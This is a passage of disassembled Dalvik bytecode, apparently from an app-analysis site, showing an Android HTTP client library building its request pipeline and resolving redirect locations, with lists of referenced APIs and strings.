        297invoke-direct {v6, v2}, Lcz/msebera/android/httpclient/protocol/RequestUserAgent;-><init>(Ljava/lang/String;)V
        298aput-object v6, v4, v5
        299const/4 v2, 0x5
        300new-instance v5, Lcz/msebera/android/httpclient/client/protocol/RequestExpectContinue;
        302invoke-direct {v5}, Lcz/msebera/android/httpclient/client/protocol/RequestExpectContinue;-><init>()V
        303aput-object v5, v4, v2
        305invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->addAll([Lcz/msebera/android/httpclient/HttpRequestInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        306iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->cookieManagementDisabled:Z
        307if-nez v2, :cond_1ae
        308new-instance v2, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;
        310invoke-direct {v2}, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;-><init>()V
        312invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->add(Lcz/msebera/android/httpclient/HttpRequestInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        313cond_1ae: iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->contentCompressionDisabled:Z
        314if-nez v2, :cond_1ba
        315new-instance v2, Lcz/msebera/android/httpclient/client/protocol/RequestAcceptEncoding;
        317invoke-direct {v2}, Lcz/msebera/android/httpclient/client/protocol/RequestAcceptEncoding;-><init>()V
        319invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->add(Lcz/msebera/android/httpclient/HttpRequestInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        320cond_1ba: iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->authCachingDisabled:Z
        321if-nez v2, :cond_1c6
        322new-instance v2, Lcz/msebera/android/httpclient/client/protocol/RequestAuthCache;
        324invoke-direct {v2}, Lcz/msebera/android/httpclient/client/protocol/RequestAuthCache;-><init>()V
        326invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->add(Lcz/msebera/android/httpclient/HttpRequestInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        327cond_1c6: iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->cookieManagementDisabled:Z
        328if-nez v2, :cond_1d2
        329new-instance v2, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;
        331invoke-direct {v2}, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;-><init>()V
        333invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->add(Lcz/msebera/android/httpclient/HttpResponseInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        334cond_1d2: iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->contentCompressionDisabled:Z
        335if-nez v2, :cond_1de
        336new-instance v2, Lcz/msebera/android/httpclient/client/protocol/ResponseContentEncoding;
        338invoke-direct {v2}, Lcz/msebera/android/httpclient/client/protocol/ResponseContentEncoding;-><init>()V
        340invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->add(Lcz/msebera/android/httpclient/HttpResponseInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        341cond_1de:
        342iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->requestLast:Ljava/util/LinkedList;
        343if-eqz v2, :cond_1f8
        345iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->requestLast:Ljava/util/LinkedList;
        347invoke-virtual {v2}, Ljava/util/LinkedList;->iterator()Ljava/util/Iterator;
        348move-result-object v2
        349goto_1e8:
        350invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        351move-result v4
        352if-eqz v4, :cond_1f8
        354invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        355move-result-object v4
        356check-cast v4, Lcz/msebera/android/httpclient/HttpRequestInterceptor;
        358invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->addLast(Lcz/msebera/android/httpclient/HttpRequestInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        359goto/16 :goto_1e8
        360cond_1f8:
        361iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->responseLast:Ljava/util/LinkedList;
        362if-eqz v2, :cond_212
        364iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->responseLast:Ljava/util/LinkedList;
        366invoke-virtual {v2}, Ljava/util/LinkedList;->iterator()Ljava/util/Iterator;
        367move-result-object v2
        368goto_202:
        369invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        370move-result v4
        371if-eqz v4, :cond_212
        373invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        374move-result-object v4
        375check-cast v4, Lcz/msebera/android/httpclient/HttpResponseInterceptor;
        377invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->addLast(Lcz/msebera/android/httpclient/HttpResponseInterceptor;)Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;
        378goto/16 :goto_202
        379cond_212:
        380invoke-virtual {v3}, Lcz/msebera/android/httpclient/protocol/HttpProcessorBuilder;->build()Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        381move-result-object v2
        382cond_216: new-instance v3, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;
        384invoke-direct {v3, v1, v2}, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;-><init>(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;Lcz/msebera/android/httpclient/protocol/HttpProcessor;)V
        386invoke-virtual {v0, v3}, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->decorateProtocolExec(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;)Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;
        387move-result-object v1
        388iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->automaticRetriesDisabled:Z
        389if-nez v2, :cond_22f
        391iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->retryHandler:Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        392if-nez v2, :cond_229
        394sget-object v2, Lcz/msebera/android/httpclient/impl/client/DefaultHttpRequestRetryHandler;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/DefaultHttpRequestRetryHandler;
        395cond_229: new-instance v3, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;
        397invoke-direct {v3, v1, v2}, Lcz/msebera/android/httpclient/impl/execchain/RetryExec;-><init>(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;)V
        398move-object v1, v3
        399cond_22f:
        400iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->routePlanner:Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;
        401if-nez v2, :cond_25a
        403iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->schemePortResolver:Lcz/msebera/android/httpclient/conn/SchemePortResolver;
        404if-nez v2, :cond_239
        406sget-object v2, Lcz/msebera/android/httpclient/impl/conn/DefaultSchemePortResolver;->INSTANCE:Lcz/msebera/android/httpclient/impl/conn/DefaultSchemePortResolver;
        407cond_239:
        408iget-object v3, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->proxy:Lcz/msebera/android/httpclient/HttpHost;
        409if-eqz v3, :cond_246
        410new-instance v3, Lcz/msebera/android/httpclient/impl/conn/DefaultProxyRoutePlanner;
        412iget-object v4, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->proxy:Lcz/msebera/android/httpclient/HttpHost;
        414invoke-direct {v3, v4, v2}, Lcz/msebera/android/httpclient/impl/conn/DefaultProxyRoutePlanner;-><init>(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/conn/SchemePortResolver;)V
        415goto_244: move-object v15, v3
        416goto/16 :goto_25b
        417cond_246: iget-boolean v3, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        418if-eqz v3, :cond_254
        419new-instance v3, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultRoutePlanner;
        421invoke-static {}, Ljava/net/ProxySelector;->getDefault()Ljava/net/ProxySelector;
        422move-result-object v4
        424invoke-direct {v3, v2, v4}, Lcz/msebera/android/httpclient/impl/conn/SystemDefaultRoutePlanner;-><init>(Lcz/msebera/android/httpclient/conn/SchemePortResolver;Ljava/net/ProxySelector;)V
        425goto/16 :goto_244
        426cond_254: new-instance v3, Lcz/msebera/android/httpclient/impl/conn/DefaultRoutePlanner;
        428invoke-direct {v3, v2}, Lcz/msebera/android/httpclient/impl/conn/DefaultRoutePlanner;-><init>(Lcz/msebera/android/httpclient/conn/SchemePortResolver;)V
        429goto/16 :goto_244
        430cond_25a: move-object v15, v2
        431goto_25b: iget-boolean v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->redirectHandlingDisabled:Z
        432if-nez v2, :cond_26b
        434iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->redirectStrategy:Lcz/msebera/android/httpclient/client/RedirectStrategy;
        435if-nez v2, :cond_265
        437sget-object v2, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->INSTANCE:Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;
        438cond_265: new-instance v3, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;
        440invoke-direct {v3, v1, v15, v2}, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;-><init>(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;Lcz/msebera/android/httpclient/client/RedirectStrategy;)V
        441move-object v1, v3
        442cond_26b:
        443iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->serviceUnavailStrategy:Lcz/msebera/android/httpclient/client/ServiceUnavailableRetryStrategy;
        444if-eqz v2, :cond_275
        445new-instance v3, Lcz/msebera/android/httpclient/impl/execchain/ServiceUnavailableRetryExec;
        447invoke-direct {v3, v1, v2}, Lcz/msebera/android/httpclient/impl/execchain/ServiceUnavailableRetryExec;-><init>(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;Lcz/msebera/android/httpclient/client/ServiceUnavailableRetryStrategy;)V
        448move-object v1, v3
        449cond_275:
        450iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->backoffManager:Lcz/msebera/android/httpclient/client/BackoffManager;
        452iget-object v3, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->connectionBackoffStrategy:Lcz/msebera/android/httpclient/client/ConnectionBackoffStrategy;
        453if-eqz v2, :cond_284
        454if-eqz v3, :cond_284
        455new-instance v4, Lcz/msebera/android/httpclient/impl/execchain/BackoffStrategyExec;
        457invoke-direct {v4, v1, v3, v2}, Lcz/msebera/android/httpclient/impl/execchain/BackoffStrategyExec;-><init>(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;Lcz/msebera/android/httpclient/client/ConnectionBackoffStrategy;Lcz/msebera/android/httpclient/client/BackoffManager;)V
        458move-object v13, v4
        459goto/16 :goto_285
        460cond_284: move-object v13, v1
        461goto_285:
        462iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->authSchemeRegistry:Lcz/msebera/android/httpclient/config/Lookup;
        463if-nez v1, :cond_2b2
        465invoke-static {}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->create()Lcz/msebera/android/httpclient/config/RegistryBuilder;
        466move-result-object v1
        468const-string v2, "Basic"
        469new-instance v3, Lcz/msebera/android/httpclient/impl/auth/BasicSchemeFactory;
        471invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/auth/BasicSchemeFactory;-><init>()V
        473invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        474move-result-object v1
        476const-string v2, "Digest"
        477new-instance v3, Lcz/msebera/android/httpclient/impl/auth/DigestSchemeFactory;
        479invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/auth/DigestSchemeFactory;-><init>()V
        481invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        482move-result-object v1
        484const-string v2, "NTLM"
        485new-instance v3, Lcz/msebera/android/httpclient/impl/auth/NTLMSchemeFactory;
        487invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/auth/NTLMSchemeFactory;-><init>()V
        489invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        490move-result-object v1
        492invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->build()Lcz/msebera/android/httpclient/config/Registry;
        493move-result-object v1
        494cond_2b2: move-object/from16 v17, v1
        496iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->cookieSpecRegistry:Lcz/msebera/android/httpclient/config/Lookup;
        497if-nez v1, :cond_30d
        499invoke-static {}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->create()Lcz/msebera/android/httpclient/config/RegistryBuilder;
        500move-result-object v1
        502const-string v2, "best-match"
        503new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/BestMatchSpecFactory;
        505invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/BestMatchSpecFactory;-><init>()V
        507invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        508move-result-object v1
        510const-string v2, "standard"
        511new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/RFC2965SpecFactory;
        513invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965SpecFactory;-><init>()V
        515invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        516move-result-object v1
        518const-string v2, "compatibility"
        519new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/BrowserCompatSpecFactory;
        521invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/BrowserCompatSpecFactory;-><init>()V
        523invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        524move-result-object v1
        526const-string v2, "netscape"
        527new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftSpecFactory;
        529invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftSpecFactory;-><init>()V
        531invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        532move-result-object v1
        534const-string v2, "ignoreCookies"
        535new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/IgnoreSpecFactory;
        537invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/IgnoreSpecFactory;-><init>()V
        539invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        540move-result-object v1
        542const-string v2, "rfc2109"
        543new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/RFC2109SpecFactory;
        545invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/RFC2109SpecFactory;-><init>()V
        547invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        548move-result-object v1
        550const-string v2, "rfc2965"
        551new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/RFC2965SpecFactory;
        553invoke-direct {v3}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965SpecFactory;-><init>()V
        555invoke-virtual {v1, v2, v3}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->register(Ljava/lang/String;Ljava/lang/Object;)Lcz/msebera/android/httpclient/config/RegistryBuilder;
        556move-result-object v1
        558invoke-virtual {v1}, Lcz/msebera/android/httpclient/config/RegistryBuilder;->build()Lcz/msebera/android/httpclient/config/Registry;
        559move-result-object v1
        560cond_30d: move-object/from16 v16, v1
        562iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->cookieStore:Lcz/msebera/android/httpclient/client/CookieStore;
        563if-nez v1, :cond_318
        564new-instance v1, Lcz/msebera/android/httpclient/impl/client/BasicCookieStore;
        566invoke-direct {v1}, Lcz/msebera/android/httpclient/impl/client/BasicCookieStore;-><init>()V
        567cond_318: move-object/from16 v18, v1
        569iget-object v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->credentialsProvider:Lcz/msebera/android/httpclient/client/CredentialsProvider;
        570if-nez v1, :cond_32d
        571iget-boolean v1, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->systemProperties:Z
        572if-eqz v1, :cond_328
        573new-instance v1, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;
        575invoke-direct {v1}, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;-><init>()V
        576goto/16 :goto_32d
        577cond_328: new-instance v1, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;
        579invoke-direct {v1}, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;-><init>()V
        580goto_32d: move-object/from16 v19, v1
        581new-instance v1, Lcz/msebera/android/httpclient/impl/client/InternalHttpClient;
        583iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultRequestConfig:Lcz/msebera/android/httpclient/client/config/RequestConfig;
        584if-eqz v2, :cond_33a
        586iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->defaultRequestConfig:Lcz/msebera/android/httpclient/client/config/RequestConfig;
        587goto_337: move-object/from16 v20, v2
        588goto/16 :goto_33d
        589cond_33a:
        590sget-object v2, Lcz/msebera/android/httpclient/client/config/RequestConfig;->DEFAULT:Lcz/msebera/android/httpclient/client/config/RequestConfig;
        591goto/16 :goto_337
        592goto_33d:
        593iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->closeables:Ljava/util/List;
        594if-eqz v2, :cond_348
        595new-instance v11, Ljava/util/ArrayList;
        597iget-object v2, v0, Lcz/msebera/android/httpclient/impl/client/HttpClientBuilder;->closeables:Ljava/util/List;
        599invoke-direct {v11, v2}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
        600cond_348: move-object/from16 v21, v11
        601move-object v12, v1
        603invoke-direct/range {v12 .. v21}, Lcz/msebera/android/httpclient/impl/client/InternalHttpClient;-><init>(Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;Lcz/msebera/android/httpclient/config/Lookup;Lcz/msebera/android/httpclient/config/Lookup;Lcz/msebera/android/httpclient/client/CookieStore;Lcz/msebera/android/httpclient/client/CredentialsProvider;Lcz/msebera/android/httpclient/client/config/RequestConfig;Ljava/util/List;)V
        604return-object v1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URI.isAbsolute
        • java.net.URI.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.contains
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.CircularRedirectException.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.add
        • java.net.URISyntaxException.getMessage
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP request
        • HTTP response
        • HTTP context
        • location
        • Redirect requested to location \'
        • \'
        • Target host
        • Relative redirect location \'
        • \' not allowed
        • http.protocol.redirect-locations
        • Circular redirect to \'
        • Received redirect response
        • but no location header
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ProtocolException;
        3}
        4.end annotation
        6const-string v0, "HTTP request"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "HTTP response"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14const-string v0, "HTTP context"
        16invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        18invoke-static {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->adapt(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;
        19move-result-object v0
        21const-string v1, "location"
        23invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        24move-result-object v1
        25if-eqz v1, :cond_de
        27invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        28move-result-object p2
        30iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        32invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        33move-result v1
        34if-eqz v1, :cond_42
        36iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        37new-instance v2, Ljava/lang/StringBuilder;
        39invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        41const-string v3, "Redirect requested to location \'"
        43invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        47const-string v3, "\'"
        49invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        51invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        52move-result-object v2
        54invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        55cond_42:
        56invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        57move-result-object v1
        59invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->createLocationURI(Ljava/lang/String;)Ljava/net/URI;
        60move-result-object p2
        61try_start_4a:
        62invoke-virtual {p2}, Ljava/net/URI;->isAbsolute()Z
        63move-result v2
        64if-nez v2, :cond_92
        66invoke-virtual {v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->isRelativeRedirectsAllowed()Z
        67move-result v2
        68if-eqz v2, :cond_76
        70invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        71move-result-object v2
        73const-string v3, "Target host"
        75invoke-static {v2, v3}, Lcz/msebera/android/httpclient/util/Asserts;->notNull(Ljava/lang/Object;Ljava/lang/String;)V
        76new-instance v3, Ljava/net/URI;
        78invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        79move-result-object p1
        81invoke-interface {p1}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        82move-result-object p1
        84invoke-direct {v3, p1}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        85const/4 p1, 0x0
        87invoke-static {v3, v2, p1}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->rewriteURI(Ljava/net/URI;Lcz/msebera/android/httpclient/HttpHost;Z)Ljava/net/URI;
        88move-result-object p1
        90invoke-static {p1, p2}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->resolve(Ljava/net/URI;Ljava/net/URI;)Ljava/net/URI;
        91move-result-object p2
        92goto/16 :goto_92
        93cond_76: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        94new-instance p3, Ljava/lang/StringBuilder;
        96invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        98const-string v0, "Relative redirect location \'"
        100invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        102invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        104const-string p2, "\' not allowed"
        106invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        109move-result-object p2
        111invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        112throw p1
        113cond_92:
        114const-string p1, "http.protocol.redirect-locations"
        116invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        117move-result-object p1
        118check-cast p1, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;
        119if-nez p1, :cond_a6
        120new-instance p1, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;
        122invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;-><init>()V
        124const-string v0, "http.protocol.redirect-locations"
        126invoke-interface {p3, v0, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        127cond_a6:
        128invoke-virtual {v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->isCircularRedirectsAllowed()Z
        129move-result p3
        130if-nez p3, :cond_cf
        132invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;->contains(Ljava/net/URI;)Z
        133move-result p3
        134if-nez p3, :cond_b3
        135goto/16 :goto_cf
        136cond_b3: new-instance p1, Lcz/msebera/android/httpclient/client/CircularRedirectException;
        137new-instance p3, Ljava/lang/StringBuilder;
        139invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        141const-string v0, "Circular redirect to \'"
        143invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        145invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        147const-string p2, "\'"
        149invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        151invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        152move-result-object p2
        154invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/client/CircularRedirectException;-><init>(Ljava/lang/String;)V
        155throw p1
        156goto_cf:
        157invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;->add(Ljava/net/URI;)V
        158return-object p2
        159catch_d3: move-exception p1
        160new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        162invoke-virtual {p1}, Ljava/net/URISyntaxException;->getMessage()Ljava/lang/String;
        163move-result-object p3
        165invoke-direct {p2, p3, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        166throw p2
        167cond_de: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        168new-instance p3, Ljava/lang/StringBuilder;
        170invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        172const-string v0, "Received redirect response "
        174invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        176invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        177move-result-object p2
